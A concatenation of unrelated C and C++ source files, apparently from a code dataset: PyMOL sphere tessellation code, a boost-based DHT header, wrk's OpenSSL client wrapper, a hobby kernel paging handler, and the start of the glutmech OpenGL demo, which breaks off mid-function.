}
fprintf(f, "\n};\n");
fprintf(f, "static int Sphere_StripLen[] = {\n");
for (i=0; i < NUMBER_OF_SPHERE_LEVELS; i++){
sp = I->Sphere[i];
fprintf(f, "/* StripLen for Sphere #%d */\n", i);
c = 0;
for(a = 0; a < sp->NStrip; a++) {
fprintf(f, "%6d,", sp->StripLen[a]);
c = (c + 1) % 10;
if(!c)
fprintf(f, "\n");
}
if (c)
fprintf(f, "\n");
}
fprintf(f, "};\n");
fprintf(f, "static int Sphere_Sequence_start[%d] = {\n", NUMBER_OF_SPHERE_LEVELS);
seq_total = 0;
for (i=0; i < NUMBER_OF_SPHERE_LEVELS; i++){
fprintf(f, " %d, ", seq_total);
seq_total += I->Sphere[i]->NVertTot;
}
fprintf(f, "\n};\n");
fprintf(f, "static int Sphere_Sequence[] = {\n");
for (i=0; i < NUMBER_OF_SPHERE_LEVELS; i++){
sp = I->Sphere[i];
fprintf(f, "/* Sequence for Sphere #%d */\n", i);
c = 0;
for(a = 0; a < sp->NVertTot; a++) {
fprintf(f, "%6d,", sp->Sequence[a]);
c = (c + 1) % 10;
if(!c)
fprintf(f, "\n");
}
if (c)
fprintf(f, "\n");
}
fprintf(f, "};\n");
fprintf(f, "static int Sphere_Tri_start[%d] = {\n", NUMBER_OF_SPHERE_LEVELS);
tri_total = 0;
for (i=0; i < NUMBER_OF_SPHERE_LEVELS; i++){
fprintf(f, " %d, ", tri_total);
tri_total += 3 * I->Sphere[i]->NTri;
}
fprintf(f, "\n};\n");
fprintf(f, "static int Sphere_Tri[] = {\n");
for (i=0; i < NUMBER_OF_SPHERE_LEVELS; i++){
sp = I->Sphere[i];
fprintf(f, "/* Tri for Sphere #%d */\n", i);
c = 0;
for(a = 0; a < 3* sp->NTri; a++) {
fprintf(f, "%6d,", sp->Tri[a]);
c = (c + 1) % 10;
if(!c)
fprintf(f, "\n");
}
if (c)
fprintf(f, "\n");
}
fprintf(f, "};\n");
fclose(f);
}
#endif
void SphereInit(PyMOLGlobals * G)
{
register CSphere *I = (G->Sphere = Calloc(CSphere, 1));
#ifdef FAST_SPHERE_INIT
I->Array = Alloc(SphereRec, Sphere_NSpheres);
{
int i;
for (i=0; i<Sphere_NSpheres; i++){
I->Array[i].area = &Sphere_area[Sphere_dot_start[i]];
I->Array[i].dot = &Sphere_dot[Sphere_dot_start[i]];
I->Array[i].StripLen = &Sphere_StripLen[Sphere_StripLen_start[i]];
I->Array[i].Sequence = &Sphere_Sequence[Sphere_Sequence_start[i]];
I->Array[i].NStrip = Sphere_NStrip[i];
I->Array[i].NVertTot = Sphere_NVertTot[i];
I->Array[i].nDot = Sphere_nDot[i];
I->Array[i].Tri = &Sphere_Tri[Sphere_Tri_start[i]];
I->Array[i].NTri = Sphere_NTri[i];
if (i){
I->Array[i].Mesh = NULL;
I->Array[i].NMesh = 0;
} else {
I->Array[i].Mesh = (int *) (void *) mesh;
I->Array[i].NMesh = 30;
}
I->Sphere[i] = &I->Array[i];
}
}
#else
{
int i;
for (i=0; i<NUMBER_OF_SPHERE_LEVELS; i++){
I->Sphere[i] = MakeDotSphere(G, i);
}
SphereDumpAll(I);
}
#endif
}
#ifndef FAST_SPHERE_INIT
static void SpherePurge(SphereRec * I)
{
/* NOTE: S->Mesh is not currently a pointer */
mfree(I->dot);
mfree(I->area);
mfree(I->StripLen);
mfree(I->Sequence);
mfree(I->Tri);
FreeP(I);
}
#endif
void SphereFree(PyMOLGlobals * G)
{
register CSphere *I = G->Sphere;
#ifndef FAST_SPHERE_INIT
SpherePurge(I->Sphere[0]);
SpherePurge(I->Sphere[1]);
SpherePurge(I->Sphere[2]);
SpherePurge(I->Sphere[3]);
SpherePurge(I->Sphere[4]);
#else
FreeP(I->Array);
#endif
FreeP(I);
}
/* private stuff */
#ifndef FAST_SPHERE_INIT
// MAXDOT : 12, 42, 162, 642, 2562 ... :: 12 + (30 + 120 + 480 + 1920 + ... ) :: 12 + ( 30 + (30*4) + (30*4*4) + (30*4*4*4) + ... )
// MAXTRI : 80, 320, 1280, 5120, ... :: 20*1 + 20*4 + 20*4*4 + 20*4*4*4 + 20*4*4*4*4 ::
//For NUMBER_OF_SPHERE_LEVELS=6
//#define MAXDOT 12900 // 12800
//#define MAXTRI 20500 // 20480
//For NUMBER_OF_SPHERE_LEVELS=5
#define MAXDOT 2600 // 2562
#define MAXTRI 5200 // 5120
typedef int EdgeCol[MAXDOT]; /* should move these into dynamic storage to save 3MB mem */
typedef EdgeCol EdgeArray[MAXDOT];
typedef int Triangle[3];
typedef struct {
float *Dot;
EdgeArray *EdgeRef;
Triangle *Tri;
int NDot, NTri;
} SphereBuilderRec;
static void MakeVertex(SphereBuilderRec * S, int d1, int d2)
{
if((*S->EdgeRef)[d1][d2] < 0) {
average3f(S->Dot + (3 * d1), S->Dot + (3 * d2), S->Dot + (3 * S->NDot));
(*S->EdgeRef)[d1][d2] = S->NDot;
(*S->EdgeRef)[d2][d1] = S->NDot;
normalize3f(S->Dot + (3 * S->NDot));
S->NDot++;
}
}
static float SphericalAngle(SphereBuilderRec * S, int d0, int d1, int d2)
{
Vector3f v1, v2, s1, s2;
/* map vector onto surface of sphere and measure angle */
subtract3f(S->Dot + (3 * d1), S->Dot + (3 * d0), v1);
subtract3f(S->Dot + (3 * d2), S->Dot + (3 * d0), v2);
remove_component3f(v1, S->Dot + (3 * d0), s1);
remove_component3f(v2, S->Dot + (3 * d0), s2);
return (get_angle3f(s1, s2));
}
static SphereRec *MakeDotSphere(PyMOLGlobals * G, int level)
{
SphereRec *result;
int *TriFlag;
int a, b, c, h, k, l, curTri, n, it;
float area, sumArea = 0.0;
int nStrip, *q, *s;
int nVertTot;
int flag;
float vt1[3], vt2[3], vt[3];
SphereBuilderRec SBuild, *S;
S = &SBuild;
S->Dot = (float *) mmalloc(sizeof(float) * 3 * MAXDOT);
ErrChkPtr(G, S->Dot);
S->EdgeRef = (EdgeArray *) mmalloc(sizeof(EdgeArray));
ErrChkPtr(G, S->EdgeRef);
S->Tri = Alloc(Triangle, MAXTRI);
ErrChkPtr(G, S->Tri);
TriFlag = Alloc(int, MAXTRI);
ErrChkPtr(G, TriFlag);
S->NDot = 12;
for(a = 0; a < S->NDot; a++) {
for(c = 0; c < 3; c++)
S->Dot[3 * a + c] = start_points[a][c];
normalize3f(S->Dot + (3 * a));
}
S->NTri = 20;
for(a = 0; a < S->NTri; a++)
for(c = 0; c < 3; c++)
S->Tri[a][c] = icosahedron[a][c];
for(a = 0; a < MAXDOT; a++)
for(b = 0; b < MAXDOT; b++)
(*S->EdgeRef)[a][b] = -1;
if(level > (NUMBER_OF_SPHERE_LEVELS-1))
level = (NUMBER_OF_SPHERE_LEVELS-1);
for(c = 0; c < level; c++) {
/* create new vertices */
for(a = 0; a < S->NTri; a++) {
MakeVertex(S, S->Tri[a][0], S->Tri[a][1]);
MakeVertex(S, S->Tri[a][1], S->Tri[a][2]);
MakeVertex(S, S->Tri[a][0], S->Tri[a][2]);
}
/* create new triangles */
curTri = S->NTri;
for(a = 0; a < curTri; a++) {
h = S->Tri[a][0];
k = S->Tri[a][1];
l = S->Tri[a][2];
S->Tri[a][0] = h;
S->Tri[a][1] = (*S->EdgeRef)[h][k];
S->Tri[a][2] = (*S->EdgeRef)[h][l];
S->Tri[S->NTri][0] = k;
S->Tri[S->NTri][1] = (*S->EdgeRef)[k][h];
S->Tri[S->NTri][2] = (*S->EdgeRef)[k][l];
S->NTri++;
S->Tri[S->NTri][0] = l;
S->Tri[S->NTri][1] = (*S->EdgeRef)[l][h];
S->Tri[S->NTri][2] = (*S->EdgeRef)[l][k];
S->NTri++;
S->Tri[S->NTri][0] = (*S->EdgeRef)[h][k];
S->Tri[S->NTri][1] = (*S->EdgeRef)[k][l];
S->Tri[S->NTri][2] = (*S->EdgeRef)[l][h];
S->NTri++;
}
// printf( "MakeDotSphere: Level: %i S->NTri: %i\n",c, S->NTri);
}
// printf(" MakeDotSphere: NDot %i S->NTri %i\n",S->NDot,S->NTri);
result = Alloc(SphereRec, 1);
ErrChkPtr(G, result);
result->dot = Alloc(Vector3f, S->NDot);
ErrChkPtr(G, result->dot);
result->area = Alloc(float, S->NDot);
ErrChkPtr(G, result->area);
result->StripLen = Alloc(int, S->NTri * 3);
ErrChkPtr(G, result->StripLen);
result->Sequence = Alloc(int, S->NTri * 3);
ErrChkPtr(G, result->Sequence);
for(a = 0; a < S->NDot; a++) {
for(c = 0; c < 3; c++)
result->dot[a][c] = *(S->Dot + (3 * a + c));
result->area[a] = 0.0;
}
/* fix normals so that v1-v0 x v2-v0 is the correct normal */
for(a = 0; a < S->NTri; a++) {
subtract3f(result->dot[S->Tri[a][1]], result->dot[S->Tri[a][0]], vt1);
subtract3f(result->dot[S->Tri[a][2]], result->dot[S->Tri[a][0]], vt2);
cross_product3f(vt1, vt2, vt);
if(dot_product3f(vt, result->dot[S->Tri[a][0]]) < 0.0) { /* if wrong, then interchange */
it = S->Tri[a][2];
S->Tri[a][2] = S->Tri[a][1];
S->Tri[a][1] = it;
}
}
for(a = 0; a < S->NTri; a++) {
area = (float) (SphericalAngle(S, S->Tri[a][0], S->Tri[a][1], S->Tri[a][2]) +
SphericalAngle(S, S->Tri[a][1], S->Tri[a][0], S->Tri[a][2]) +
SphericalAngle(S, S->Tri[a][2], S->Tri[a][0], S->Tri[a][1]) - cPI);
/* multiply by r^2 to get area */
sumArea += area;
area /= 3.0;
result->area[S->Tri[a][0]] += area;
result->area[S->Tri[a][1]] += area;
result->area[S->Tri[a][2]] += area;
}
if(fabs(sumArea - (4 * cPI)) > 0.001) {
printf(" MakeDotSphere: sumArea: %8.6f which is %8.6f Pi\n", sumArea, sumArea / cPI);
ErrFatal(G, "MakeDotSphere", "Area of sphere does not sum to 4*pi!\n");
}
for(a = 0; a < S->NTri; a++)
TriFlag[a] = false;
nStrip = 0;
nVertTot = 0;
s = result->StripLen;
q = result->Sequence;
/* tesselate the sphere in a semi-efficient fashion...this could definitely be improved */
flag = true;
while(flag) {
flag = false;
a = 0;
while(a < S->NTri) {
if(!TriFlag[a]) {
flag = true;
TriFlag[a] = true;
*(q++) = S->Tri[a][0];
*(q++) = S->Tri[a][1];
*(q++) = S->Tri[a][2];
n = 3;
b = 0;
while(b < S->NTri) {
if(!TriFlag[b]) {
if(((S->Tri[b][0] == q[-2]) && (S->Tri[b][1] == q[-1])) ||
((S->Tri[b][0] == q[-1]) && (S->Tri[b][1] == q[-2]))) {
*(q++) = S->Tri[b][2];
TriFlag[b] = true;
b = 0;
n++;
} else if(((S->Tri[b][0] == q[-2]) && (S->Tri[b][2] == q[-1])) ||
((S->Tri[b][0] == q[-1]) && (S->Tri[b][2] == q[-2]))) {
*(q++) = S->Tri[b][1];
TriFlag[b] = true;
b = 0;
n++;
} else if(((S->Tri[b][2] == q[-2]) && (S->Tri[b][1] == q[-1])) ||
((S->Tri[b][2] == q[-1]) && (S->Tri[b][1] == q[-2]))) {
*(q++) = S->Tri[b][0];
TriFlag[b] = true;
b = 0;
n++;
}
}
b++;
}
if(n == 3) {
q[-3] = S->Tri[a][1];
q[-2] = S->Tri[a][2];
q[-1] = S->Tri[a][0];
b = 0;
while(b < S->NTri) {
if(!TriFlag[b]) {
if(((S->Tri[b][0] == q[-2]) && (S->Tri[b][1] == q[-1])) ||
((S->Tri[b][0] == q[-1]) && (S->Tri[b][1] == q[-2]))) {
*(q++) = S->Tri[b][2];
TriFlag[b] = true;
b = 0;
n++;
} else if(((S->Tri[b][0] == q[-2]) && (S->Tri[b][2] == q[-1])) ||
((S->Tri[b][0] == q[-1]) && (S->Tri[b][2] == q[-2]))) {
*(q++) = S->Tri[b][1];
TriFlag[b] = true;
b = 0;
n++;
} else if(((S->Tri[b][2] == q[-2]) && (S->Tri[b][1] == q[-1])) ||
((S->Tri[b][2] == q[-1]) && (S->Tri[b][1] == q[-2]))) {
*(q++) = S->Tri[b][0];
TriFlag[b] = true;
b = 0;
n++;
}
}
b++;
}
}
if(n == 3) {
q[-3] = S->Tri[a][2];
q[-2] = S->Tri[a][0];
q[-1] = S->Tri[a][1];
b = 0;
while(b < S->NTri) {
if(!TriFlag[b]) {
if(((S->Tri[b][0] == q[-2]) && (S->Tri[b][1] == q[-1])) ||
((S->Tri[b][0] == q[-1]) && (S->Tri[b][1] == q[-2]))) {
*(q++) = S->Tri[b][2];
TriFlag[b] = true;
b = 0;
n++;
} else if(((S->Tri[b][0] == q[-2]) && (S->Tri[b][2] == q[-1])) ||
((S->Tri[b][0] == q[-1]) && (S->Tri[b][2] == q[-2]))) {
*(q++) = S->Tri[b][1];
TriFlag[b] = true;
b = 0;
n++;
} else if(((S->Tri[b][2] == q[-2]) && (S->Tri[b][1] == q[-1])) ||
((S->Tri[b][2] == q[-1]) && (S->Tri[b][1] == q[-2]))) {
*(q++) = S->Tri[b][0];
TriFlag[b] = true;
b = 0;
n++;
}
}
b++;
}
}
*(s++) = n;
nVertTot += n;
nStrip++;
}
a++;
}
}
mfree(S->Dot);
mfree(S->EdgeRef);
mfree(TriFlag);
result->Tri = (int *) S->Tri;
result->Tri = Realloc(result->Tri, int, S->NTri * 3);
result->NTri = S->NTri;
result->StripLen = Realloc(result->StripLen, int, nStrip);
result->Sequence = Realloc(result->Sequence, int, nVertTot);
result->dot = Realloc(result->dot, Vector3f, S->NDot);
result->area = Realloc(result->area, float, S->NDot);
result->nDot = S->NDot;
result->NStrip = nStrip;
result->NVertTot = nVertTot;
result->Mesh = NULL;
result->NMesh = 0;
if(!level) { /* provide mesh for S->Sphere[0] only...rest, to do. */
result->Mesh = (int *) mesh;
result->NMesh = 30;
}
/*
q=result->Sequence;
for(a=0;a<result->NStrip;a++)
{
printf("%d:",result->StripLen[a]);
for(b=0;b<result->StripLen[a];b++)
{
printf("%d ",*(q++));
}
printf("\n");
}
*/
return (result);
}
#endif
| 26.439098 | 131 | 0.465931 |
bd41cedd9b17917622accb7334246ee28b132a16 | 1,626 | h | C | src/communication/dataStructures/dht.h | comingkuo/m_src | a43119aed5e03527a37c2b45a615546af9966462 | [
"Unlicense"
] | null | null | null | src/communication/dataStructures/dht.h | comingkuo/m_src | a43119aed5e03527a37c2b45a615546af9966462 | [
"Unlicense"
] | null | null | null | src/communication/dataStructures/dht.h | comingkuo/m_src | a43119aed5e03527a37c2b45a615546af9966462 | [
"Unlicense"
] | null | null | null | /*
* dht.h
*
* Created on: Apr 23, 2012
* Author: awaraka
*/
#ifndef DHT_H_
#define DHT_H_
//#include <sparsehash/dense_hash_map>
#include <boost/unordered_map.hpp>
#include "../../dataManager/dataStructures/data/mLong.h"
#include "../commManager.h"
#include "../sysComm.h"
#include "boost/thread.hpp"
using namespace std;
template<class K, class V1, class M, class A> class userComm;
template<class K, class V1, class M, class A> class sysComm;
template<class K, class V1, class M, class A>
class DHT {
//typedef google::dense_hash_map<K, int, K, K> map_t;
typedef boost::unordered_map<K, int> map_t;
typedef typename map_t::iterator iterator_t;
typedef typename std::pair<iterator_t, bool> pair_t;
map_t local_dht;
sysComm<K, V1, M, A>* mySysComm;
boost::mutex insert_m;
boost::mutex retrieve_m;
public:
void MapSysComm(sysComm<K, V1, M, A>* comm) {
mySysComm = comm;
}
void insert_KeyVal(K e1, int v1) {
boost::mutex::scoped_lock insert_lock = boost::mutex::scoped_lock(
this->insert_m);
pair_t ret;
local_dht[e1] = v1;
insert_lock.unlock();
}
int retrieve_val(K e1) {
iterator_t element_it;
boost::mutex::scoped_lock retrieve_lock = boost::mutex::scoped_lock(
this->insert_m);
element_it = local_dht.find(e1);
if (element_it == local_dht.end()) {
retrieve_lock.unlock();
return -1;
} else {
retrieve_lock.unlock();
return element_it->second;
}
}
void erase_key(const K& e1) {
boost::mutex::scoped_lock erase_lock = boost::mutex::scoped_lock(
this->insert_m);
local_dht.erase(e1);
erase_lock.unlock();
}
};
#endif /* DHT_H_ */
| 21.116883 | 70 | 0.688807 |
bd44778fa0433807f93b286cfafb435a3b861409 | 2,101 | c | C | src/ssl.c | dongbeiouba/wrkplus | 44db8e717f0ffe476916b0d1038b4aa87f4da15c | [
"Apache-2.0"
] | null | null | null | src/ssl.c | dongbeiouba/wrkplus | 44db8e717f0ffe476916b0d1038b4aa87f4da15c | [
"Apache-2.0"
] | null | null | null | src/ssl.c | dongbeiouba/wrkplus | 44db8e717f0ffe476916b0d1038b4aa87f4da15c | [
"Apache-2.0"
] | null | null | null | // Copyright (C) 2013 - Will Glozer. All rights reserved.
#include <pthread.h>
#include <openssl/evp.h>
#include <openssl/err.h>
#include <openssl/ssl.h>
#include "ssl.h"
SSL_CTX *ssl_init(bool sess_reuse) {
SSL_CTX *ctx = NULL;
SSL_load_error_strings();
SSL_library_init();
OpenSSL_add_all_algorithms();
if ((ctx = SSL_CTX_new(SSLv23_client_method()))) {
SSL_CTX_set_verify(ctx, SSL_VERIFY_NONE, NULL);
SSL_CTX_set_verify_depth(ctx, 0);
SSL_CTX_set_mode(ctx, SSL_MODE_AUTO_RETRY);
if (sess_reuse) {
SSL_CTX_set_session_cache_mode(ctx, SSL_SESS_CACHE_CLIENT);
} else {
SSL_CTX_set_session_cache_mode(ctx, SSL_SESS_CACHE_OFF);
}
}
return ctx;
}
status ssl_connect(connection *c, char *host) {
int r;
SSL_set_fd(c->ssl, c->fd);
SSL_set_tlsext_host_name(c->ssl, host);
if ((r = SSL_connect(c->ssl)) != 1) {
switch (SSL_get_error(c->ssl, r)) {
case SSL_ERROR_WANT_READ: return RETRY;
case SSL_ERROR_WANT_WRITE: return RETRY;
default: return ERROR;
}
}
return OK;
}
status ssl_close(connection *c) {
SSL_shutdown(c->ssl);
SSL_clear(c->ssl);
return OK;
}
status ssl_read(connection *c, size_t *n) {
int r;
if ((r = SSL_read(c->ssl, c->buf, sizeof(c->buf))) <= 0) {
switch (SSL_get_error(c->ssl, r)) {
case SSL_ERROR_WANT_READ: return RETRY;
case SSL_ERROR_WANT_WRITE: return RETRY;
default: return ERROR;
}
}
*n = (size_t) r;
return OK;
}
status ssl_write(connection *c, char *buf, size_t len, size_t *n) {
int r;
if ((r = SSL_write(c->ssl, buf, len)) <= 0) {
switch (SSL_get_error(c->ssl, r)) {
case SSL_ERROR_WANT_READ: return RETRY;
case SSL_ERROR_WANT_WRITE: return RETRY;
default: return ERROR;
}
}
*n = (size_t) r;
return OK;
}
size_t ssl_readable(connection *c) {
return SSL_pending(c->ssl);
}
| 25.938272 | 71 | 0.588291 |
bd456f0edfabfbdeaf0fb1420cdd8f4aab012b84 | 3,425 | c | C | paging.c | pomoke/pomoke-sys | 86cdd8ec11469756c7a0b2d1af283c7b94f39e71 | [
"MIT"
] | 1 | 2019-02-10T00:33:33.000Z | 2019-02-10T00:33:33.000Z | paging.c | pomoke/pomoke-sys | 86cdd8ec11469756c7a0b2d1af283c7b94f39e71 | [
"MIT"
] | null | null | null | paging.c | pomoke/pomoke-sys | 86cdd8ec11469756c7a0b2d1af283c7b94f39e71 | [
"MIT"
] | null | null | null | /* Paging handler. */
#include <type.h>
#include <io.h>
#include <mem.h>
#include <link.h>
#include <kprint.h>
struct int_frame {
u32 eip;
u32 cs;
u32 eflags;
};
/* There should be non-bitfield implementation*/
struct pde {
u32 present:1;
u32 write:1;
u32 user:1;
u32 write_through:1;
u32 nocache:1;
u32 access:1;
u32 size:1;
u32 ignore:1;
u32 data:3;
u32 pt:20;
};
struct pte {
u32 present:1;
u32 write:1;
u32 user:1;
u32 write_through:1;
u32 nocache:1;
u32 access:1;
u32 dirty:1;
u32 zero:1;
u32 size:1;
u32 avail:3;
u32 phy:20;
};
void isr pf_handler(struct int_frame * frame)
{
u32 addr;
asm volatile("mov %%cr2,%%eax":"=a"(addr)::);
printk("page fault addr %x",addr);
}
struct pde *get_cr3(void)
{
volatile struct pde *cr3;
asm volatile("mov %%cr3,%%eax":"=r"(cr3)::"memory");
return cr3;
}
void load_cr3(void *cr3)
{
asm volatile("mov %%eax,%%cr3"::"a"(cr3):);
}
u32 get_physical(u32 virtual)
{
struct pde *dir;
dir=get_cr3()+0xc0000000;
printk("paging: cr3 at %x,",dir,sizeof(struct pde));
//Translate this dir.
struct pte *item;
if (!dir[virtual>>22].present)
{
printk("paging:No such mapping for %x.\n",virtual);
return 0;
}
else
{
item=(dir[virtual>>22].pt)<<11;
printk("PD table at %x,PT table at %x,",&dir[virtual>>22],item);
//Translate pte.
if (!item[(virtual>>12)&0x3ff].present)
{
printk("not found\n");
return 0;
}
else
{
printk("addr %x -> %x\n",virtual,item[(virtual>>12)&0x3ff].phy<<12);
return item[(virtual>>12)&0x3ff].phy<<12 | (virtual&0x3ff);
}
}
}
u32 get_pg_item(u32 virtual)
{
struct pde *dir;
dir=get_cr3()+0xc0000000;
printk("paging: cr3 at %x,",dir,sizeof(struct pde));
//Translate this dir.
struct pte *item;
if (!dir[virtual>>22].present)
{
printk("paging:No such mapping for %x.\n",virtual);
return 0;
}
else
{
item=(dir[virtual>>22].pt)<<11;
return item;
}
}
void flush_page(void *virtual)
{
asm volatile("invlpg (%0)"::"r"(virtual):"memory");
return;
}
void invalidate_page(void *virtual)
{
struct pte *a=get_pg_item(virtual);
//struct pte *a=0;
a->present=0;
//asm volatile("invlpg (%0)"::"r"(virtual):"memory");
flush_page(virtual);
}
void invalidate_all(void)
{
//Reload %cr3
asm volatile("mov %%cr3,%%eax;mov %%eax,%%cr3":::"eax");
}
/* This function allocates a page when PT does not exist.Do not use this until mm is ready.
* However pages within KERNEL_OFFSET+0x0~0x300000 is always safe to map.
*/
void map_page(void *v,void *p) //v->p
{
//Find PD table
struct pde *pd=get_cr3();
struct pte *pt,*phy=0;
//printk("%x->%x\n",v,p);
if (!pd[(u32)v>>22].present)
{
//pt=palloc(1)
printk("Allocate page for paging.");
phy=palloc(1,0);//Physical address
map_page(0xc02fc000,phy);
pt=0xc02fc000;
//Set PDE
*(u32 *)(&pd[(u32)v>>22])=0;
pd[(u32)v>>22].pt=(u32)phy>>11;
pd[(u32)v>>22].write=1;
pd[(u32)v>>22].present=1;
}
if (pd[(u32)v>>22].pt<<11 < 0x300000)
{
pt=pd[(u32)v>>22].pt<<11; //Subject to change.
}
else if (!phy)
{
map_page(0xc02fc000,pd[(u32)v>>22].pt<<11);
pt=0xc02fc000;
}
pt[((u32)v>>12)&0x3ff].phy=(u32)p>>12;
pt[((u32)v>>12)&0x3ff].write=1;
pt[((u32)v>>12)&0x3ff].present=1;
pt[((u32)v>>12)&0x3ff].user=(u32)p>>0;
flush_page(v);
return ;
}
void unshare_page(void *virtual)
{
//Some null function now still.
;
}
void paging_init(void)
{
//Some null function now as we have initialize early paging.
;
}
| 19.027778 | 91 | 0.632701 |
bd46d7e4fe306b0cb73b370146b7153a3b272033 | 36,558 | c | C | src/demo/glutmech/glutmech.c | rhaleblian/pirix | 2280b4619f12b82a75cda7d3afe21c2ba0c6055b | [
"MIT"
] | 19 | 2019-05-14T20:06:07.000Z | 2022-02-18T05:25:50.000Z | src/demo/glutmech/glutmech.c | rhaleblian/pirix | 2280b4619f12b82a75cda7d3afe21c2ba0c6055b | [
"MIT"
] | 4 | 2018-12-27T02:16:11.000Z | 2021-04-27T17:19:10.000Z | src/demo/glutmech/glutmech.c | rhaleblian/pirix | 2280b4619f12b82a75cda7d3afe21c2ba0c6055b | [
"MIT"
] | null | null | null |
/**
* program : glutmech V1.1
* author : Simon Parkinson-Bates.
* E-mail : sapb@yallara.cs.rmit.edu.au
* Copyright Simon Parkinson-Bates.
* "source if freely avaliable to anyone to copy as long as they
* acknowledge me in their work."
*
* Funtional features
* ------------------
* * online menu system avaliable by pressing left mouse button
* * online cascading help system avaliable, providing information on
* the several key strokes and what they do.
* * animation sequence coded which makes the mech walk through an
* environment. Shadows will soon be added to make it look
* more realistic.
* * menu control to view mech in wireframe or sold mode.
* * various key strokes avaliable to control idependently the mechs
* many joints.
* * various key strokes avaliable to view mech and environment from
* different angles
* * various key strokes avaliable to alter positioning of the single
* light source.
*
*
* Program features
* ----------------
* * uses double buffering
* * uses display lists
* * uses glut to manage windows, callbacks, and online menu.
* * uses glpolygonfill() to maintain colors in wireframe and solid
* mode.
*
**/
/* start of compilation conditions */
#define SPHERE
#define COLOR
#define LIGHT
#define TORSO
#define HIP
#define SHOULDER
#define UPPER_ARM
#define LOWER_ARM
#define ROCKET_POD
#define UPPER_LEG
#define LOWER_LEG
#define NO_NORM
#define ANIMATION
#define DRAW_MECH
#define DRAW_ENVIRO
#define MOVE_LIGHT
/* end of compilation conditions */
/* start various header files needed */
#include <stdlib.h>
#include <math.h>
#define GLUT
#define GLUT_KEY
#define GLUT_SPEC
#include <GL/glut.h>
/* end of header files */
/* start of display list definitions */
#define SOLID_MECH_TORSO 1
#define SOLID_MECH_HIP 2
#define SOLID_MECH_SHOULDER 3
#define SOLID_MECH_UPPER_ARM 4
#define SOLID_MECH_FOREARM 5
#define SOLID_MECH_UPPER_LEG 6
#define SOLID_MECH_FOOT 7
#define SOLID_MECH_ROCKET 8
#define SOLID_MECH_VULCAN 9
#define SOLID_ENVIRO 10
/* end of display list definitions */
/* start of motion rate variables */
#define ANKLE_RATE 3
#define HEEL_RATE 3
#define ROTATE_RATE 10
#define TILT_RATE 10
#define ELBOW_RATE 2
#define SHOULDER_RATE 5
#define LAT_RATE 5
#define CANNON_RATE 40
#define UPPER_LEG_RATE 3
#define UPPER_LEG_RATE_GROIN 10
#define LIGHT_TURN_RATE 10
#define VIEW_TURN_RATE 10
/* end of motion rate variables */
/* start of motion variables */
#ifndef M_PI
#define M_PI 3.141592654
#endif
GLUquadricObj *qobj;
char leg = 0;
int shoulder1 = 0, shoulder2 = 0, shoulder3 = 0, shoulder4 = 0, lat1 = 20, lat2 = 20,
elbow1 = 0, elbow2 = 0, pivot = 0, tilt = 10, ankle1 = 0, ankle2 = 0, heel1 = 0,
heel2 = 0, hip11 = 0, hip12 = 10, hip21 = 0, hip22 = 10, fire = 0, solid_part = 0,
anim = 0, turn = 0, turn1 = 0, lightturn = 0, lightturn1 = 0;
float elevation = 0.0, distance = 0.0, frame = 3.0
/* foot1v[] = {} foot2v[] = {} */ ;
/* end of motion variables */
/* start of material definitions */
#ifdef LIGHT
GLfloat mat_specular[] =
{0.628281, 0.555802, 0.366065, 1.0};
GLfloat mat_ambient[] =
{0.24725, 0.1995, 0.0745, 1.0};
GLfloat mat_diffuse[] =
{0.75164, 0.60648, 0.22648, 1.0};
GLfloat mat_shininess[] =
{128.0 * 0.4};
GLfloat mat_specular2[] =
{0.508273, 0.508273, 0.508373};
GLfloat mat_ambient2[] =
{0.19225, 0.19225, 0.19225};
GLfloat mat_diffuse2[] =
{0.50754, 0.50754, 0.50754};
GLfloat mat_shininess2[] =
{128.0 * 0.6};
GLfloat mat_specular3[] =
{0.296648, 0.296648, 0.296648};
GLfloat mat_ambient3[] =
{0.25, 0.20725, 0.20725};
GLfloat mat_diffuse3[] =
{1, 0.829, 0.829};
GLfloat mat_shininess3[] =
{128.0 * 0.088};
GLfloat mat_specular4[] =
{0.633, 0.727811, 0.633};
GLfloat mat_ambient4[] =
{0.0215, 0.1745, 0.0215};
GLfloat mat_diffuse4[] =
{0.07568, 0.61424, 0.07568};
GLfloat mat_shininess4[] =
{128 * 0.6};
GLfloat mat_specular5[] =
{0.60, 0.60, 0.50};
GLfloat mat_ambient5[] =
{0.0, 0.0, 0.0};
GLfloat mat_diffuse5[] =
{0.5, 0.5, 0.0};
GLfloat mat_shininess5[] =
{128.0 * 0.25};
#endif
/* end of material definitions */
/* start of the body motion functions */
void
Heel1Add(void)
{
heel1 = (heel1 + HEEL_RATE) % 360;
}
void
Heel1Subtract(void)
{
heel1 = (heel1 - HEEL_RATE) % 360;
}
void
Heel2Add(void)
{
heel2 = (heel2 + HEEL_RATE) % 360;
}
void
Heel2Subtract(void)
{
heel2 = (heel2 - HEEL_RATE) % 360;
}
void
Ankle1Add(void)
{
ankle1 = (ankle1 + ANKLE_RATE) % 360;
}
void
Ankle1Subtract(void)
{
ankle1 = (ankle1 - ANKLE_RATE) % 360;
}
void
Ankle2Add(void)
{
ankle2 = (ankle2 + ANKLE_RATE) % 360;
}
void
Ankle2Subtract(void)
{
ankle2 = (ankle2 - ANKLE_RATE) % 360;
}
void
RotateAdd(void)
{
pivot = (pivot + ROTATE_RATE) % 360;
}
void
RotateSubtract(void)
{
pivot = (pivot - ROTATE_RATE) % 360;
}
void
MechTiltSubtract(void)
{
tilt = (tilt - TILT_RATE) % 360;
}
void
MechTiltAdd(void)
{
tilt = (tilt + TILT_RATE) % 360;
}
void
elbow1Add(void)
{
elbow1 = (elbow1 + ELBOW_RATE) % 360;
}
void
elbow1Subtract(void)
{
elbow1 = (elbow1 - ELBOW_RATE) % 360;
}
void
elbow2Add(void)
{
elbow2 = (elbow2 + ELBOW_RATE) % 360;
}
void
elbow2Subtract(void)
{
elbow2 = (elbow2 - ELBOW_RATE) % 360;
}
void
shoulder1Add(void)
{
shoulder1 = (shoulder1 + SHOULDER_RATE) % 360;
}
void
shoulder1Subtract(void)
{
shoulder1 = (shoulder1 - SHOULDER_RATE) % 360;
}
void
shoulder2Add(void)
{
shoulder2 = (shoulder2 + SHOULDER_RATE) % 360;
}
void
shoulder2Subtract(void)
{
shoulder2 = (shoulder2 - SHOULDER_RATE) % 360;
}
void
shoulder3Add(void)
{
shoulder3 = (shoulder3 + SHOULDER_RATE) % 360;
}
void
shoulder3Subtract(void)
{
shoulder3 = (shoulder3 - SHOULDER_RATE) % 360;
}
void
shoulder4Add(void)
{
shoulder4 = (shoulder4 + SHOULDER_RATE) % 360;
}
void
shoulder4Subtract(void)
{
shoulder4 = (shoulder4 - SHOULDER_RATE) % 360;
}
void
lat1Raise(void)
{
